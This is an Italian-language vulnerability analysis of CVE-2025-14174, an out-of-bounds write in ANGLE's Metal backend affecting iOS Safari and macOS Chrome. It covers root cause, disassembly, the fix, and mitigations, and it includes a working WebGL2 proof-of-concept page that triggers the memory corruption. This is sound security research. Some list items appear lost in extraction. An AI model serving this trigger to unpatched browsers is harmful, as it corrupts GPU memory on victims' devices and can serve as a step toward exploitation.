
Analisi e PoC per CVE-2025-14174 - scrittura OOB in ANGLE Metal (iOS Safari, macOS Chrome)
Analisi tecnica e proof-of-concept per CVE-2025-14174
| CVE | CVE-2025-14174 |
| Severity | Alta |
| Exploited ITW | Sì - attacchi mirati su iOS < 26 |
| Affected | iOS Safari, macOS Chrome/Chromium/Electron (non macOS Safari) |
| Status | Corretto nel commit ANGLE 95a32cb |
| Credit | Apple, Google Threat Analysis Group |
Secondo Apple, CVE-2025-14174 è stata sfruttata nell'ambito di un "attacco estremamente sofisticato contro specifici individui presi di mira" su versioni di iOS precedenti a iOS 26.
La catena di attacco includeva:
Esiste una vulnerabilità di scrittura fuori dai limiti (OOB) nel backend Metal di ANGLE quando si caricano texture di profondità tramite uno staging buffer. La dimensione dello staging buffer viene calcolata usando GL_UNPACK_IMAGE_HEIGHT invece dell'altezza effettiva della texture. Quando UNPACK_IMAGE_HEIGHT < height, ANGLE alloca un buffer di dimensioni insufficienti e successivamente vi scrive height righe, causando una corruzione della memoria GPU nel processo renderer.
Questa vulnerabilità colpisce le applicazioni che utilizzano il backend Metal di ANGLE per WebGL:
Safari su iOS è interessato. Su iOS, WebKit usa ANGLE come backend WebGL, rendendo vulnerabili Safari su iPhone e iPad.
Safari su macOS NON è interessato. Su macOS, Safari usa l'implementazione WebGL nativa di WebKit che interfaccia direttamente con Metal, bypassando completamente ANGLE.
Chrome su macOS è interessato. Google Chrome in esecuzione su macOS 26.1 è apparso vulnerabile durante i test, poiché usa il backend Metal di ANGLE per WebGL.
Il percorso di codice vulnerabile esiste nella classe TextureMtl di ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
| Gravità | Descrizione |
|---|---|
| Confermato | Scrittura oltre la fine dello staging buffer nel backend GPU/Metal |
Caratteristiche principali:
NO_ERROR)Nel percorso di caricamento delle texture di profondità D32F, ANGLE calcola pixelsDepthPitch da GL_UNPACK_IMAGE_HEIGHT e usa questo valore per dimensionare lo staging MTLBuffer. Tuttavia, il successivo dispatch di compute (saturazione della profondità) usa l'altezza effettiva della texture per l'operazione, causando una scrittura OOB quando i parametri differiscono.
Per width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
Devono essere vere tutte le seguenti condizioni:
DEPTH_COMPONENT32F (verificato; altri formati di profondità potrebbero essere interessati ma non testati)PIXEL_UNPACK_BUFFERGL_UNPACK_IMAGE_HEIGHT impostato a un valore inferiore all'altezza effettiva della textureGL_UNPACK_IMAGE_HEIGHT è definito dalla specifica GL per influenzare i caricamenti di texture 3D/array, non le texture 2D. Per TEXTURE_2D:
UNPACK_IMAGE_HEIGHT < height per le texture 2DWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
La funzione SaturateDepth esegue successivamente il dispatch di uno shader di compute Metal usando le dimensioni effettive della texture, scrivendo oltre lo staging buffer di dimensioni insufficienti.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
Risultato atteso su sistemi vulnerabili: gl.getError() restituisce NO_ERROR nonostante la scrittura OOB avvenga nel processo GPU.
Il commit 95a32cb di ANGLE corregge l'allocazione dello staging buffer per usare le dimensioni effettive della texture:
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
Inoltre, il calcolo di srcBytesPerImage è stato corretto per l'operazione di blit:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
Questa vulnerabilità è difficile da rilevare da JavaScript:
NO_ERROR anche quando il bug viene attivato| Approccio | Descrizione |
|---|---|
| Aggiornamento | Applicare gli aggiornamenti di piattaforma che contengono la correzione ANGLE |
Scoperta della vulnerabilità: Apple, Google Threat Analysis Group
Analisi tecnica: Questo documento descrive ricerca indipendente e reverse engineering della vulnerabilità.
Analisi condotta nell'ambito del progetto di ricerca sulla sicurezza SpiderWebKit.
| Piattaforma | Software | Interessato | Note |
|---|
| iOS | Safari | Sì | WebKit su iOS usa ANGLE Metal per WebGL |
| macOS | Chrome / Chromium | Sì | Usa il backend Metal di ANGLE |
| macOS | App Electron | Sì | Usa l'implementazione ANGLE di Chromium |
| macOS | Safari | No | Usa il WebGL Metal nativo di WebKit, non ANGLE |
| Confermato | Riproducibile via WebGL2 + PBO + DEPTH_COMPONENT32F |
| Plausibile | Crash del processo GPU o perdita del contesto sotto pressione di memoria |
| Teorico | Corruzione cross-risorsa nella memoria GPU (non dimostrata) |
| Parametro | Calcolo | Valore |
|---|
| Passo di riga | width * sizeof(float) | 4 byte |
| Staging buffer (allocato) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 byte |
| Dispatch di compute (scritto) | rowPitch * actualHeight | 2048 byte |
| Scrittura OOB | 2048 - 512 | 1536 byte |
| Funzione | Indirizzo | Ruolo |
|---|
setSubImageImpl | 0x272fa9028 | Calcola depthPitch insufficiente |
setPerSliceSubImage | 0x272fac240 | Alloca staging buffer insufficiente |
MakeBufferWithStorageMode | 0x272ef19bc | Crea MTLBuffer con dimensione errata |
SaturateDepth | 0x272facfa4 | Esegue il dispatch del compute con le dimensioni reali |
| Funzione | Indirizzo | Ruolo |
|---|
setSubImageImpl | 0x22c6d10f4 | Calcola depthPitch insufficiente |
setPerSliceSubImage | 0x22c6d4398 | Alloca staging buffer insufficiente |
MakeBufferWithStorageMode | 0x22c619490 | Crea MTLBuffer con dimensione errata |
SaturateDepth | 0x22c6d5144 | Esegue il dispatch del compute con le dimensioni reali |
Evitare di impostare UNPACK_IMAGE_HEIGHT a un valore inferiore all'altezza effettiva per le texture di profondità |
| Difesa in profondità | Usare caricamenti a dimensione fissa dove UNPACK_IMAGE_HEIGHT == height |